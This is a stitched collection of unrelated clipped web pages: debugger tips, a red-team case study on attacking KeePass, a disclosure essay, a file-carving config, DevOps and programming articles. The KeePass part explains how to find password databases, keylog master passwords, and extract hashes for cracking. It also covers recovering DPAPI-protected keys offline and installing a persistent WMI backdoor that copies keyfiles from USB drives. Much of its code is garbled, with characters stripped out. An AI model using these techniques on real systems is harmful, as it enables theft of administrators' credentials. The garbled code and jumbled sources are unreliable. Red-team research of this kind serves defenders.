3. You can also use the popular WinDBG command “~*k”
4. See how each thread is listed with its call stack displayed in the window.

7. Side Effect Free Function Evaluation “, nse”
Have you ever innocently typed an expression into the Watch window or Immediate window, then had to deal with the side effects of a debug session where you changed the state of the application without meaning to? Often this can happen when trying to evaluate an expression that calls a function in your program and it causes side effects (state changes to the program without running the actual application). While this may be okay if you know what functions will be called, what if you’re not sure? Here is a way to evaluate expressions in C# without the risk of side effects corrupting your program.
1. You can add “, nse” (stands for “No Side Effects”) after any expression you type into the Watch window or Immediate window.
2. This will use a sandbox of sorts that will interpret the expression without causing any side effects.
3. If the expression can’t be interpreted and can only be resolved by an evaluation, it will show you an error in the window.
4. If you are sure that you want to evaluate it anyway, remove the “, nse” modifier and try again.

Learned Something? Let us know!
What is your favorite lesser known debugging feature? Comment below!

Kaycee Anderson, Program manager, Visual Studio Debugger, and Diagnostics
@KayceeSue
Kaycee is a program manager working on the Visual Studio Debugger. She is passionate about delighting developers with core debugging experiences to help them find and fix issues in their code faster. She wants to help you #SuperChargeYourDebugging.


﻿http://www.harmj0y.net/blog/redteaming/a-case-study-in-attacking-keepass/ 
A Case Study in Attacking KeePass
Created:
6/30/2016 3:40:59 PM
Updated:
6/30/2016 3:40:59 PM
Author:

Tags:




A Case Study in Attacking KeePass
We see a lot of KeePass usage while on engagements. In the corporate environments we operate in, it appears to be the most common password manager used by system administrators. We love to grab admins’ KeePass databases and run wild, but this is easier said than done in some situations, especially when key files (or Windows user accounts) are used in conjunction with passwords. This post will walk through a hypothetical case study in attacking a KeePass instance that reflects implementations we’ve encountered in the wild.
First Steps
First things first: you need a way to determine if KeePass is running, and ideally what the version is. The easiest way to gather this information is a simple process listing, through something like Cobalt Strike or PowerShell:


Now it helps to know where the Keepass binary is actually located. By default the binary is located in C:\Program Files (x86)\KeePass Password Safe\for KeePass 1.X and C:\Program Files (x86)\KeePass Password Safe 2\ for version 2.X, but there’s also a portable version that can be launched without an install. Luckily we can use WMI here, querying for win32_processes and extracting out the ExecutablePath:

Get-WmiObjectwin32_processWhere-Object-like'*kee*'Select-Object-ExpandExecutablePath

If KeePass isn’t running, we can use PowerShell’s Get-ChildItem cmdlet to search for the binary as well as any .kdb[x] databases:

Get-ChildItem-PathUsers-Include"*kee*.exe""*.kdb*"-Recurse-ErrorActionSilentlyContinueSelect-Object-ExpandFullName

Attacking the KeePass Database
We’ll sometimes grab the KeePass binary itself (to verify its version) as well as any .kdb (version 1.X) or .kdbx (version 2.X) databases. If the version is 2.28, 2.29, or 2.30 and the database is unlocked, you can use denandz‘ KeeFarce project to extract passwords from memory; however, this attack involves dropping multiple files to disk (some of which are now flagged by antivirus). You could also try rolling your own version to get by the AV present on the system or disabling AV entirely (which we don’t really recommend). I’m not aware of a memory-only option at this point.
We generally take a simpler approach- start a keylogger, kill the KeePass process, and wait for the user to input their unlock password. We may also just leave the keylogger going and wait for the user to unlock KeePass at the beginning of the day. While it’s possible for a user to set the ‘Enter master key on secure desktop’ setting which claims to prevent keylogging, according to KeePass this option “is turned off by default for compatibility reasons“. KeePass 2.X can also be configured to use the Windows user account for authentication in combination with a password and/or keyfile (more on this in the DPAPI section).
If you need to crack the password for a KeePass database, HashCat 3.0.0 (released 6/29/16) now includes support for KeePass 1.X and 2.X databases (-m 13400). As @Fist0urs details, you can extract a HashCat-compatible hash from a KeePass database using the keepass2john tool from the John The Ripper suite, which was written by Dhiru Kholia and released under the GPL. Here’s what the output looks like for a default KeePass 2.X database with the password of ‘password’:

This worked great, but I generally prefer a more portable solution in Python for these types of hash extractors. I coded up a quick-and-dirty Python port of Dhiru’s code on a Gist here (it still needs more testing and keyfile integration):

#!/usr/bin/python
# Python port of keepass2john from the John the Ripper suite (http://www.openwall.com/john/)
# ./keepass2john.c was written by Dhiru Kholia <dhiru.kholia at gmail.com> in March of 2012
# ./keepass2john.c was released under the GNU General Public License
#   source keepass2john.c source code from: http://fossies.org/linux/john/src/keepass2john.c
# Python port by @harmj0y, GNU General Public License
# TODO: handle keyfiles, test file inlining for 1.X databases, database version sanity check for 1.X
import
import
importstruct
binasciiimporthexlify
process_1x_databasedatabaseNamemaxInlineSize
index
algorithm
encFlagstructunpack"<L"indexindex
index
encFlag
algorithm
enc_flag
# Twofish
algorithm
print"Unsupported file encryption!"
return
# TODO: keyfile processing
# TODO: database version checking
versionhexlifyindexindex
index
finalRandomseedhexlifyindexindex
index
encIVhexlifyindexindex
index
numGroupsstructunpack"<L"indexindex
index
numEntriesstructunpack"<L"indexindex
index
contentsHashhexlifyindexindex
index
transfRandomseedhexlifyindexindex
index
keyTransfRoundsstructunpack"<L"indexindex
filesize
datasizefilesize
filesizedatasizemaxInlineSize
dataBufferhexlify
"*1*%ld*%s"datasizehexlifydataBuffer
"0*%s"databaseName
return"%s:$keepass$*1*%s*%s*%s*%s*%s*%s*%s"databaseNamekeyTransfRoundsalgorithmfinalRandomseedtransfRandomseedencIVcontentsHash
process_2x_databasedatabaseName
index
endReachedFalse
masterSeed
transformSeed
transformRounds
initializationVectors
expectedStartBytes
whileendReachedFalse
btFieldIDstructunpackindex
index
uSizestructunpackindexindex
index
# print "btFieldID : %s , uSize : %s" %(btFieldID, uSize)
btFieldID
endReached
btFieldID
masterSeedhexlifyindexindexuSize
btFieldID
transformSeedhexlifyindexindexuSize
btFieldID
transformRoundsstructunpackindexindex
btFieldID
initializationVectorshexlifyindexindexuSize
btFieldID
expectedStartByteshexlifyindexindexuSize
indexuSize
dataStartOffsetindex
firstEncryptedByteshexlifyindexindex
return"%s:$keepass$*2*%s*%s*%s*%s*%s*%s*%s"databaseNametransformRoundsdataStartOffsetmasterSeedtransformSeedinitializationVectorsexpectedStartBytesfirstEncryptedBytes
process_databasefilename
filename
close
os.pathbasenamefilename
databaseNameos.pathsplitext
fileSignaturehexlify
fileSignature'03d9a29a67fb4bb5'
# "2.X"
printprocess_2x_databasedatabaseName
fileSignature'03d9a29a66fb4bb5'
# "2.X pre release"
printprocess_2x_databasedatabaseName
fileSignature'03d9a29a65fb4bb5'
# "1.X"
printprocess_1x_databasedatabaseName
print"ERROR: KeePass signaure unrecognized"
__name__"__main__"
stderrwrite"Usage: %s <kdb[x] file[s]>\n"
range
process_database
Here’s the output for the same default database:

KeePass.config.xml
More savvy admins will use a keyfile as well as a password to unlock their KeePass databases. Some will name this file conspicuously and store in My Documents/Desktop, but other times it’s not as obvious.
Luckily for us, KeePass nicely outlines all the possible configuration file locations for 1.X and 2.x here. Let’s take a look at what a sample 2.X KeePass.config.xml configuration looks like (located at C:\Users\user\AppData\Roaming\KeePass\KeePass.config.xml or in the same folder as a portable KeePass binary):

The XML config nicely tells us exactly where the keyfile is located. If the admin is using their “Windows User Account” to derive the master password (<UserAccount>true</UserAccount> under <KeySources>) see the DPAPI section below. If they are even more savvy and store the key file on a USB drive not persistently mounted to the system, check out the Nabbing Keyfiles with WMI section.
DPAPI
Setting ‘UserAccount’ set to true in a KeePass.config.xml means that the master password for the database includes the ‘Windows User Account’ option. KeePass will mix an element of the user’s current Windows user account in with any specific password and/or keyfile to create a composite master key. If this option is set and all you grab is a keylogged password and/or keyfile, it might seem that you’re still out of luck. Or are you?
In order to use a ‘Windows User Account’ for a composite key in a reasonably secure manner, KeePass takes advantage of the Windows Data Protection Application Programming Interface (DPAPI). This interface provides a number of simple cryptographic calls (CryptProtectData()/CryptUnProtectData()) that allow for easy encryption/decryption of sensitive DPAPI data “blobs”. User information (including their password) is used to encrypt a user ‘master key’ (located at %APPDATA%\Microsoft\Protect\<SID>\) that’s then used with optional entropy to encrypt/decrypt application-specific blobs. The code and entropy used by KeePass for these calls is outlined in the KeePass source and the KeePass specific DPAPI blob is kept at %APPDATA%\KeePass\ProtectedUserKey.bin.
Fortunately, recovering a KeePass composite master key with a Windows account mixin is a problem several people have encountered before. The KeePass wiki even has a nice writeup on the recovery process:
· Copy the target user account DPAPI master key folder from C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\ . The folder name will be a SID (S-1-...) pattern and contain a hidden Preferred file and master key file with a GUID naming scheme.
· Copy C:\Users\<USER>\AppData\Roaming\KeePass\ProtectedUserKey.bin . This is the protected KeePass DPAPI blob used to create the composite master key.
· Take note of the username and userdomain of the user who created the KeePass database as well as their plaintext password.
· Move the <SID> folder to %APPDATA%\Microsoft\Protect\ on an attacker controlled Windows machine (this can be non-domain joined).
· Set a series of registry keys under HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DPAPI\MigratedUsers , including the old user’s SID, username, and domain. The KeePass wiki has a registry template for this here.
· Run C:\Windows\system32\dpapimig.exe, the “Protected Content Migration” utility, entering the old user’s password when prompted.
· Open KeePass 2.X, select the stolen database.kdbx, enter the password/keyfile, and check “Windows User Account” to open the database.
The Restore-UserDPAPI.ps1 PowerShell Gist will automate this process, given the copied SID folder with the user’s master key, original username/userdomain, and KeePass ProtectedUserKey.bin :


If you’re interested, more information on DPAPI is available in @dfirfpi‘s 2014 SANS presentation and post on the subject. Jean-Michel Picod and Elie Bursztein presented research on DPAPI and its implementation in their “Reversing DPAPI and Stealing Windows Secrets Offline” 2010 BlackHat talk. The dpapick project (recently updated) allows for decryption of encrypted DPAPI blobs using recovered master key information. Benjamin Delpy has also started to play in this area, but we still need to take the proper deep dive into his code that it deserves. We’re hoping we can use Mimikatz to extract the DPAPI key and other necessary data from a host in one swoop, but we haven’t worked out that process yet.
Nabbing Keyfiles with WMI
Matt Graeber gave a great presentation at BlackHat 2015 titled “Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asynchronous, and Fileless Backdoor” (slides here and whitepaper here). He released the PoC WMI_Backdoor code on GitHub.
One of the WMI events Matt describes is the extrinsic Win32_VolumeChangeEvent which fires every time a USB drive is inserted and mounted. The ‘InfectDrive’ ActiveScriptEventConsumer in Matt’s PoC code shows how to interact with a mounted drive letter with VBScript. We can take this approach to clone off the admin’s keyfile whenever his/her USB is plugged in.
We have two options, one that persists between reboots and one that runs until the powershell.exe process exits. For the non-reboot persistent option, we can use Register-WmiEvent and Win32_VolumeChangeEvent to trigger a file copy action for the known key path:

Register-WmiEvent-Query'SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2'-SourceIdentifier'DriveInserted'-Action$DriveLetter$EventArgsNewEventDriveNameTest-Path"$DriveLetter\key.jpg"Copy-Item"$DriveLetter\key.jpg""C:\Temp\"-Force
This trigger will clone the target file into C:\Temp\ whenever the drive is inserted. You can also register to monitor for events on remote computers (assuming you have the appropriate permissions) with -ComputerName and an optional -Credential argument.
For reboot persistence we can easily add a new action to the New-WMIBackdoorAction function in Matt’s WMI_Backdoor code:

'FileClone'
$VBScript
                Dim oFSO, oFile, sFilePath
                Set oFSO = CreateObject("Scripting.FileSystemObject")
                sFilePath = TargetEvent.DriveName & "\key.jpg"
                If oFSO.FileExists(sFilePath) Then
                    oFSO.CopyFile sFilePath, "C:\temp\key.jpg", True
                End If 
$ActionName
$Name$ActionName
$Name'FileClone'
We can then register the trigger and action for the backdoor with:

Register-WMIBackdoor-TriggerNew-WMIBackdoorTrigger-DriveInsertion-ActionNew-WMIBackdoorAction-FileClone
Cleanup takes a few more commands:

Get-WmiObject-Namespace"root\subscription"-Class"__FilterToConsumerBinding"Where-ObjectFilter-like"*DriveInsertionTrigger*"Remove-WmiObject
Get-WmiObject-Namespace"root\subscription"-Class"__EventFilter"Where-Object"DriveInsertionTrigger"Remove-WmiObject
Get-WmiObject-Namespace"root\subscription"-Class'ActiveScriptEventConsumer'Where-Object"FileClone"Remove-WmiObject
Big thanks to Matt for answering my questions in this area and pointing me in the right direction.
Keyfiles on Network Mounted Drives
Occasionally users will store their keyfiles on network-mounted drives. PowerView’s new Get-RegistryMountedDrive function lets you enumerate network mounted drives for all users on a local or remote machine, making it easier to figure out exactly where a keyfile is located:

Wrapup
Using KeePass (or another password database solution) is significantly better than storing everything in passwords.xls, but once an attacker has administrative rights on a machine it’s nearly impossible to stop them from grabbing the information they want from the target. With a few PowerShell one-liners and some WMI, we can quickly enumerate KeePass configurations and set monitors to grab necessary key files. This is just scratching the surface of what can be done with WMI- it would be easy to add functionality that enumerates/exfiltrates any interesting files present on USB drives as they’re inserted.


﻿http://addxorrol.blogspot.com/2009/11/why-are-most-researchers-not-fan-of.html 
ADD / XOR / ROL: Why are most researchers not a fan of standards on "responsible disclosure"
Created:
11/16/2009 8:34:16 PM
Updated:
11/16/2009 8:34:37 PM
Author:

Tags:
Exploit LOLZ Disclosure


Why are most researchers not a fan of standards on "responsible disclosure"
I usually try to stay away from the politics of vulnerability disclosure, mostly because I think (to paraphrase Feynman) that politics of vulnerability disclosure are as useful to the vulnerability researcher as ornithology is to birds.

But it seems that the entire discussion is not going away. The intensity of the reactions to k8em0's twitter post might be partially explained by the history of this all. I'll try to refresh what I remember:

A lot of the older vulnerability researchers remember the ghastly OIS attempt at forcing a standard written by a bunch of non-researchers down the throats of the research community. From the outside, it looked mostly like an attempt to kiss up to some vendors that were spending a lot of money on security review during that time.

I might be stepping on some people's toes, but to me it looked like a high-school class where the dimmest students drew up guidelines on how smart students "should" behave, and gave that to the teacher in order to earn brownie points - including clauses like 'not contradicting the teacher'.

Unfortunately, most of the research community prefers to dowork instead of discussing with people that have little interesting to say about how the researchers should work. The result of this is that researchers were rarely ever involved in the entire discussion. Not for lack of opportunity, but mostly lack of interest -- if I can actually go and surf, why would I discuss with a bunch of people sitting in an office about the right way to come back to the beach ?

The entire discussion has always been somewhat phony. The entire "responsible/irresponsible" angle is sligthly fraudulent. The way I see it is the following:
1. It is acceptable for AV companies to charge for signatures, which are in essence "information about malware"
2. It is acceptable for AV companies to not publish, nor provide, malware to other parties, or to charge for it
3. It is acceptable for software vendors to charge so I can use their software. It is also acceptable for them to charge more so that I can read their source code.
4. Why again should a researcher be obliged to provide information to vendors free of charge again ?
5. If anyone argues it's "responsible" to make everyone safer, I say: I'll give all my bugs to all vendors the same day that all security companies of the world provide free licenses for everyone for their software.
But well. Honestly, I am not sure whether I should post this. I do not really feel like spending too much time discussing this. But perhaps that's part of the problem... 
﻿https://trac.security.org.my/hex/browser/trunk/rawpacket-root/usr/home/analyzt/rp-NSM/tcpxtract.conf 
/trunk/rawpacket-root/usr/home/analyzt/rp-NSM/tcpxtract.conf – HeX LiveCD
Created:
5/21/2009 1:26:17 PM
Updated:
5/21/2009 1:26:28 PM
Author:

Tags:
security tools packet-analysis


1
#---------------------------------------------------------------------  
2
# ANIMATION FILES 
3
#---------------------------------------------------------------------  
4
# 
5

6
# AVI (Windows animation and DiVX/MPEG-4 movies) 
7
avi(4000000, RIFF\?\?\?\?); 
8

9
# MPEG Video 
10
mpg(4000000, \x00\x00\x01\xba, \x00\x00\x01\xb9); 
11
mpg(4000000, \x00\x00\x01\xb3, \x00\x00\x01\xb7); 
12

13
# Macromedia Flash 
14
# fws(4000000, FWS); 
15

16
#--------------------------------------------------------------------- 
17
# GRAPHICS FILES 
18
#---------------------------------------------------------------------  
19
# 
20
# 
21
# AOL ART files 
22
art(150000,     \x4a\x47\x04\x0e, \xcf\xc7\xcb); 
23
art(150000,     \x4a\x47\x03\x0e, \xd0\xcb\x00\x00); 
24

25

26
# GIF and JPG files (very common) 
27
gif(3000000, \x47\x49\x46\x38\x37\x61, \x00\x3b); 
28
gif(3000000, \x47\x49\x46\x38\x39\x61, \x00\x00\x3b); 
29
jpg(1000000, \xff\xd8\xff\xe0\x00\x10, \xff\xd9); 
30
jpg(1000000, \xff\xd8\xff\xe1); 
31

32
# PNG   (used in web pages) 
33
png(1000000, \x50\x4e\x47\?, \xff\xfc\xfd\xfe); 
34

35
# BMP   (used by MSWindows, use only if you have reason to think there are 
36
#       BMP files worth digging for. This often kicks back a lot of false 
37
#       positives 
38
bmp(100000, BM\?\?\x00\x00\x00); 
39

40
# TIF 
41
tif(200000000, \x49\x49\x2a\x00); 
42

43

44
#---------------------------------------------------------------------  
45
# MICROSOFT OFFICE 
46
#---------------------------------------------------------------------  
47
# 
48
# Word documents 
49
doc(12500000, \xd0\xcf\x11\xe0\xa1\xb1); 
50

51
# Outlook files 
52
pst(400000000, \x21\x42\x4e\xa5\x6f\xb5\xa6); 
53
ost(400000000, \x21\x42\x44\x4e); 
54

55
# Outlook Express 
56
dbx(4000000, \xcf\xad\x12\xfe\xc5\xfd\x74\x6f); 
57
idx(4000000, \x4a\x/4d\x46\x39); 
58
mbx(4000000, \x4a\x4d\x46\x36); 
59

60
#---------------------------------------------------------------------  
61
# HTML 
62
#---------------------------------------------------------------------  
63

64
html(50000, \x3chtml, \x3c\x2fhtml\x3e); 
65

66
#---------------------------------------------------------------------  
67
# ADOBE PDF 
68
#---------------------------------------------------------------------  
69

70
pdf1(5000000, \x25PDF, \x25EOF\x0d); 
71
pdf2(5000000, \x25PDF, \x25EOF\x0a); 
72
pdf3(5000000, \x25PDF, \x25EOF\x0d\x0a); 
73

74
#---------------------------------------------------------------------  
75
# AOL (AMERICA ONLINE) 
76
#---------------------------------------------------------------------  
77
# 
78
# AOL Mailbox 
79
mail(500000, \x41\x4f\x4c\x56\x4d); 
80

81
#---------------------------------------------------------------------  
82
# SOUND FILES 
83
#---------------------------------------------------------------------  
84

85
# wav will be captured as avi. 
86

87
# Real Audio Files 
88
ra(1000000, \x2e\x72\x61\xfd); 
89
ra(1000000, \x2eRMF); 
90

91
#---------------------------------------------------------------------  
92
# MISCELLANEOUS 
93
#---------------------------------------------------------------------  
94
# 
95
#zip(10000000, PK\x03\x04, \x3c\xac); 
96
zip(10000000, PK\x03\x04); 
97
java(1000000, \xca\xfe\xba\xbe); 
98

99
#torrent(10000000, \x64\x38\x3aannounce); 
100

101
# geek00L Contributions 
102
# 1.x 
103
# Torrent MetaFile 
104
# torrent(10000000, \x64\x38\x3aannounce); 
105
# torrent(10000000, \x64\x38\x3a\x61\x6e\x6e\x6f\x75\x6e\x63\x65, \x65\x65); 
106
# Pdf 
107
# pdf1(5000000, \x25PDF, \x25EOF\x0d); 
108
# pdf2(5000000, \x25PDF, \x25EOF\x0a); 
109
# pdf3(5000000, \x25PDF, \x25EOF\x0d\x0a); 
110
# 3gp File 
111
# tgp(1000000, \x00\x00\x00\?\x66\x74\x79\x70\x33\x67\x70\x34); 
112
# Msdos-executable 
113
# exe(10000000, \x4d\x5a); 
114
# Portable-executable 
115
# pe(10000000, \x50\x45\x00\x00); 
116
# ELF-execute & linking format 
117
# elf(30000000, \x7F\x45\x4C\x46); 
118
# NE- new executable(used by windows) 
119
# ne(40000000, \x4D\x5A\x50, \x4E\x45); 
120
# 
121
# 2.x 
122
# rar(10000000, Rar!\x1A\x07\x00\x90\x73\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00); 
123
# mp3(4000000, ID3); 
124
# mp4(4000000, \x00\x00\x00\x18\x66\x74\x79\x70); 
125
# odt(12500000, \x50\x4b\x03\x04\x14); 
126

127

128
# David Bianco(Hanashi) Contributions 
129
# gzip(1000000, \x1f\x8b\x08); 
130
# script(1000000, \x23\x21\x2f); 

﻿http://www.di.ens.fr/~cousot/publications.www/CousotCousot-Marktoberdorf-2009.pdf 
A gentle introduction to formal verification of computer systems by abstract interpretation
Created:
1/8/2010 8:51:52 AM
Updated:
11/18/2010 6:46:21 PM
Author:

Tags:
Practical Software Verification bookmark Tutorials


﻿https://www.olivierjacques.com/blog/devops/6-strategies-to-set-time-aside-to-improve/ 
6 Strategies to Set Time Aside to Improve - Olivier Jacques on DevOps and ChatOps
Created:
5/24/2021 5:10:47 PM
Updated:
5/24/2021 5:10:47 PM
Author:

Tags:




6 Strategies to Set Time Aside to Improve 
 4 minute read 
The idea of setting time aside to improve, and reduce technical debt is not new. At the beginning of projects we often sort budget for documentation, tests, refactoring. But after a first sprint or two this budget gets used on new features and we end up with technical debt piling up. We all know this is bad, but how can we set time aside to improve? Like, continuously improve? This blog will look at ways I have used to set budget (time) aside to improve.
Note: the Tech Debt Burndown podcast is a great resource if you want to learn more on tech debt and how to address it.
Let us just use the following hypothesis:
· You want to set aside 25% of your team capacity on improving
· You have an Agile Scrum team with a 2-week sprint cadence
Here are the 6 ways I will describe below, in one diagram:

1. 25% improving, on top of everything elsePermalinkÁ

When asking an IT leader or manager if they support reducing technical debt and improving how work gets done, the answer will often be yes, with the caveat that this can be done without impacting the delivery of new features.
The risk with this strategy is that you will never find time to improve. Under certain conditions, the team can go an extra mile to improve how they do work. But this cannot last long. Worse, if this becomes an expectation, productivity will be impacted as morale will suffer. Not a good idea.
2. 100% improvingPermalinkÁ

I originally titled this strategy “panic mode”.
After a long period NOT spending time on improving, you may arrive to a point where you have no choice but spending all the team’s capacity on doing so. This can take the form of addressing a major security breach, swarming during a production outage or even halting the business because the SAN for which you did not upgrade the firmware decided to shutdown.
You can be lucky and recover. Some have gone out of business. If you do recover, use it as a wake up call and select another strategy.
3. The improvement teamPermalinkÁ

You don’t find time to improve: the team is overloaded. What about getting a team, approximately 25% of the size of the current team, dedicated to improving? This may work, if the goal is to use that team for a period of time. This way, you may be able to reduce technical debt enough to recover some capacity and get back to the habit of continuously improving.
I will argue that this should only be temporary. Improvement needs to be part of every team’s charter. It is more effective and also more rewarding for people. Now, getting help from enabling teams, as described in the Teams Topologies book, is a good idea when you need to acquire skills and coaching to do so.
4. Rolling improvement rolePermalinkÁ

In this strategy, we choose 25% of the people amongst the team who will dedicate the sprint on only improving work and reducing technical debt. That’s one person for a team of 4, 2 people for a team of 8 - you get it! You will want to choose different people for each sprint, so that everyone can bring its own perspective.
5. 25% capacity each dayPermalinkÁ

Everyone in the team spends 25% of the day improving. That is 2 hours for an 8-hour workday. You can do that as you start your day, before opening Slack, MS Teams or email. Or at the end of the day, to finish on a good note. If you want to make this work, make sure to spend two consecutive hours, to minimize context switching.
6. Improve one sprint every 4 sprintsPermalinkÁ

This strategy is my own personal favorite. First, it is easy to understand: you dedicate one full sprint out of 4 - that is 25% - improving. It’s planned and cannot be postponed. People in the team will look forward to it: as we gather feedback during sprint reviews, it will be used as inputs for the content of this improvement sprint. The advantages of being a complete sprint are numerous: this is uninterrupted improving work, with no context switching. Also, a full sprint is a significant amount of work to be able to come up with improvements which are visible. The team will be able to celebrate and look forward for the next round!
One technique I used was to describe the content of the improvement sprint in the form of an imaginary press release, as we were kicking it off. I have included one of them below. Note that I’m writing to our users, not to the team. This helped everyone understand why we were doing this and align behind a mission, which we could celebrate later once we achieve it.

ConclusionPermalinkÁ
There are certainly many more ways to set time aside time to improve. Pick the one which works for you, but never stop improving how you work.
| Categories: blog DevOps 
s Updated: May 6, 2021
 Twitter  Facebook  LinkedIn
Previous
Next

﻿50.10780872196318 8.657446872903185 122.66984558105469 
img/55e2988c4ed3c9f635c9a4c3f52fa0b1.pdf - Factoring RSA Keys from certified Smart Cards: Coppersmith in the wild
Created:
8/21/2013 8:01:52 AM
Updated:
8/21/2013 8:02:20 AM
Author:
wishi
Tags:
attacks crypto


﻿http://getsemtrax.com/2015/05/27/a-brief-overview-of-semtraxs-architecture.html 
A Brief Overview of SemTrax's Architecture
Created:
6/8/2015 4:14:47 PM
Updated:
6/8/2015 4:14:47 PM
Author:

Tags:
Practical Software Verification


A Brief Overview of SemTrax's Architecture
May 27, 2015
Since launching SemTrax we’ve had quite a few questions about its internals and its architecture. While taint tracking is an easy analysis to describe at a high level, the design of a tool that can be used in real-world scenarios is quite a bit more involved. There are several different paths that can be taken to overcome the challenges encountered, so in this post I’ll outline the direction we’ve taken with SemTrax.
Just to make sure we’re all on the same page, here’s a quick outline of the fundamental features provided by SemTrax:
· SemTrax is a dynamic analysis tool that allows one to tag data as an application is running and have that data tracked as it is operated on by the application.
· The SemTrax UI integrates with IDA and augments the IDA debugger so as to make SemTrax’s analysis functionality available as part of a normal debugging session. In other words: you can attach, single-step, continue, set breakpoints and do all of the normal things you can with a debugger while also having access to the powerful dataflow tracking and visualisation capabilities that SemTrax offers.
· At any point during a debugging session one can pause the target application and SemTrax will provide detailed information on exactly what registers and memory locations are tainted and every instruction that has so far processed tainted data. Alongside this, it also supports “slicing” of the instruction trace so that you can find out exactly which instructions processed, or produced, any data of interest. Slices can be visualised as flat traces, as dataflow graphs, highlighted in your normal IDA debug view, or via any combination of these that the user wants.
The following screenshots should hopefully make the above less abstract. First, here’s the registers and memory view, indicating what locations are currently tainted:

Here’s a snippet of the full instruction trace, showing every instruction that has processed tainted data as well as useful contextual information, such as operand values.

Finally, here’s a slice with its accompanying dataflow graph. In this case the slice is showing how a particular byte in memory was computed, allowing the user to instantly see the instructions relevant to that output. The slice contains a mere 19 instructions while the full trace contains just over 600,000.

Architecture
One of our goals in building SemTrax is to make dataflow tracking a commodity technology from an end user’s point of view. The SemTrax UI purposefully tries to keep the details of how an application is traced, and how the resulting trace is analysed, opaque to the user; a user shouldn’t need to know how these things work in order to use the tool with a relatively high degree of effectiveness. However, this does have the side effect that we’ve had quite a few queries as to whether SemTrax is simply an IDA plugin, whether it uses breakpoints as a tracing mechanism and whether its analysis is based on the read/written operands provided by disassemblers. The answer to each of these questions is “No”, but before I provide a more informative response let us first discuss the overall architecture of SemTrax.
SemTrax is actually made up of four different components: the UI which runs on top of IDA, the tracer and debugger stub which uses PIN, the analysis server which is a standalone process that consumes traces and produces dataflow results and a broker process which sits in between the other three and coordinates communication. The broker also performs session management, such as starting analyser instances on demand and archiving traces.

The key components that bring the most value to SemTrax are the UI and the analyser. Both rely on a program analysis library developed in-house which provides the actual “smarts” behind the tool.
With the above overview we can now answer some of the earlier questions.
Q: Is SemTrax an IDA plugin?
A: No, but the UI does currently run as one. IDA provides QT bindings, accessible via Python, and SemTrax makes use of this. The SemTrax UI consists of approximately 23k lines of Python responsible for controlling the debugging session, interacting with the broker in order to send analysis directives to the server, and post-processing the analysis results in order to provide an informative view of the application’s dataflow.
Q: Does SemTrax use breakpoints for tracing?
A: No, SemTrax uses dynamic binary instrumentation, as enabled by PIN, in order to gather traces. Our tracer makes use of the Hex-Rays provided PIN debugging stub so as to enable normal debugger functionality while also tracing every executed instruction. No analysis is done within the target process itself. Traces are dispatched to the broker which in turn relays them to the analysis server.
Q: Does SemTrax use a disassembler’s semantics to track data?
A: No, while some disassemblers do provide details such as lists of the read and written operands for each instruction, such information is nowhere near comprehensive enough to provide accurate dataflow analysis results. The SemTrax analysis server makes use of a program analysis library developed in-house which provides the dataflow semantics for each and every instruction that SemTrax handles. For a given instruction this library can tell us exactly what inputs contributed to each output and, inversely, exactly which output a given input contributes to. As you might expect it also handles flags read or written by an instruction.
Conclusion
I hope this post helps in understanding how SemTrax is designed and what purpose the various components serve. For an overview of how these components work together to enable analysis then check out last month’s post on crash triage with SemTrax. In a future blog post I’ll go into the details of how the dataflow analysis library itself actually functions. In the meantime, to get a copy of SemTrax check out the Buy page for licence options then drop us a mail. If you’d like early information on our upcoming tools, updates to SemTrax, and related topics then sign up to to our mailing list!
- Sean
﻿A Method For Symbolic Computation of Abstract Operations
Created:
10/23/2013 1:47:07 PM
Updated:
10/23/2013 1:47:29 PM
Author:
wishi
Tags:
Practical Software Verification papers model-checking modeling symbolic exec


﻿http://agile.dzone.com/articles/about-sizet-and-ptrdifft 
About size_t and ptrdiff_t | Agile Zone
Created:
1/31/2012 7:42:36 PM
Updated:
1/31/2012 7:45:09 PM
Author:

Tags:
C++ analysis programming static


About size_t and ptrdiff_t
	
3

in
	Share
 
Submitted by Andrey Karpov on Mon, 2012/01/23 - 2:00am 
Tags: 64-bitCcppptrdiff_tsize_t
Abstract
The article will help the readers understand what size_t and ptrdiff_t types are, what they are used for and when they must be used. The article will be interesting for those developers who begin creation of 64-bit applications where use of size_t and ptrdiff_t types provides high performance, possibility to operate large data sizes and portability between different platforms.
Introduction
Before we begin I would like to notice that the definitions and recommendations given in the article refer to the most popular architectures for the moment (IA-32, Intel 64, IA-64) and may not fully apply to some exotic architectures.
The types size_t and ptrdiff_t were created to perform correct address arithmetic. It had been assumed for a long time that the size of int coincides with the size of a computer word (microprocessor's capacity) and it can be used as indexes to store sizes of objects or pointers. Correspondingly, address arithmetic was built with the use of int and unsigned types as well. int type is used in most training materials on programming in C and C++ in the loops' bodies and as indexes. The following example is nearly a canon:
view source
print
?
1.
for (int i = 0; i < n; i++)
2.
a[i] = 0;
As microprocessors developed over time and their capacity increased, it became irrational to further increase int type's sizes. There are a lot of reasons for that: economy of memory used, maximum portability etc. As a result, several data model appeared declaring the relations of C/C++ base types. Table N1 shows the main data models and lists the most popular systems using them.

Table N1. Data models 
As you can see from the table, it is not so easy to choose a variable's type to store a pointer or an object's size. To find the smartest solution of this problem size _t and ptrdiff_t types were created. They are guaranteed to be used for address arithmetic. And now the following code must become a canon:
view source
print
?
1.
for (ptrdiff_t i = 0; i < n; i++)
2.
a[i] = 0;
It is this code that can provide safety, portability and good performance. The rest of the article explains why.
size_t type
size_t type is a base unsigned integer type of C/C++ language. It is the type of the result returned by sizeof operator. The type's size is chosen so that it could store the maximum size of a theoretically possible array of any type. On a 32-bit system size_t will take 32 bits, on a 64-bit one 64 bits. In other words, a variable of size_t type can safely store a pointer. The exception is pointers to class functions but this is a special case. Although size_t can store a pointer, it is better to use another unsinged integer type uintptr_t for that purpose (its name reflects its capability). The types size_t and uintptr_t are synonyms. size_t type is usually used for loop counters, array indexing and address arithmetic.
The maximum possible value of size_t type is constant SIZE_MAX.
ptrdiff_t type
